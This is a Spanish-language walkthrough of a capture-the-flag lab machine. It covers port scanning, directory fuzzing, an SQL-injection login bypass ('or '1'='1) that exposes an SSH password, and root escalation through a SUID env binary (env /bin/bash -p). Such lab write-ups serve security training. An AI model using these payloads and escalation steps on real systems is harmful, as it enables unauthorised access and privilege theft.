Esta es una máquina de explotación trivial basada en una inyección SQL y escalada de privilegios gracias a archivos con el bit SUID.

Iniciamos la máquina mediante el auto_deploy:

./auto_deploy.sh injection.tar

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Sabemos que la IP es 172.17.0.2, vamos a realizar un escaneo de nmap:

sudo nmap -sS -T4 -p- 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 17:27 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000070s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 6A:79:F6:CC:73:F2 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds

sudo nmap -sS -A -p 22,80,21 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 17:27 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000090s latency).

PORT   STATE  SERVICE VERSION
21/tcp closed ftp
22/tcp open   ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 72:1f:e1:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
|_  256 8f:3a:cd:fc:03:26:ad:49:4a:6c:a1:89:39:f9:7c:22 (ED25519)
80/tcp open   http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Iniciar Sesi\xC3\xB3n
MAC Address: 6A:79:F6:CC:73:F2 (Unknown)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.09 ms 172.17.0.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds

La versión del servidor SSH es demasiado alta como para ser vulnerable a enumeración de usuarios, así que comencare analizando el servicio web.

Primero de nada vamos a quitarnos de encima la posibilidad de subir una webshell mediante el verbo HTTP PUT:

sudo nmap --script http-methods -p 80 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 17:29 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000029s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
MAC Address: 6A:79:F6:CC:73:F2 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

Como esperabamos, no es un metodo permitido.

Pasemos a un fuzzing de directorios:

feroxbuster --url http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html -x txt -x php -x git

                                                                                                                                                                                       
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [html, txt, php, git]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       95l      266w     2921c http://172.17.0.2/index.php
200      GET       95l      266w     2921c http://172.17.0.2/
200      GET        0l        0w        0c http://172.17.0.2/config.php

Index.php es de esperar, config.php es una página en blanco. Hay más cosas que podríamos hacer en una evaluación extensiva desde la terminal, pero como es una máquina sencilla voy a ver en el navegador la página index.php.

Se trata de una pagina de login, probemos admin:admin.

Error, recordando el nombre de la máquina intentemos la técnica de inyección SQL, es decir utilizemos las credenciales:

admin:‘or ‘1’=‘1

Y efectivamente funciona.

Recibimos un mensaje diciendo:

Bienvenido Dylan! Has insertado correctamente tu contraseña: KJSDFG789FGSDF78

Podemos asumir que esto son credenciales ssh, probemoslas:

ssh dylan@172.17.0.2

dylan@172.17.0.2's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.13.6-arch1-1 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

dylan@f0113a690d25:~$ 

Fantastico, ahora solo hay que buscar una forma de ser root. Antes de subir cosas como LinPEAS vamos a mirar permisos sudo y archivos con el bit SUID:

dylan@f0113a690d25:~$ sudo -l                                                        
-bash: sudo: command not found
dylan@f0113a690d25:~$ find / -type f -perm -4000 2>/dev/null                         
/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/env
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

Bien, vamos a ver en GTFObins cual de estos binarios nos permite escalar a root.

env es un buen candidato, según GTFObins podemos usar:

./env /bin/sh -p

Pero no hay ningún motivo por el que no instanciariamos nuestra shell de root como bash:

dylan@f0113a690d25:~$ env /bin/bash -p                                               
bash-5.1# whoami
root

Y listo! Máquina pwneada.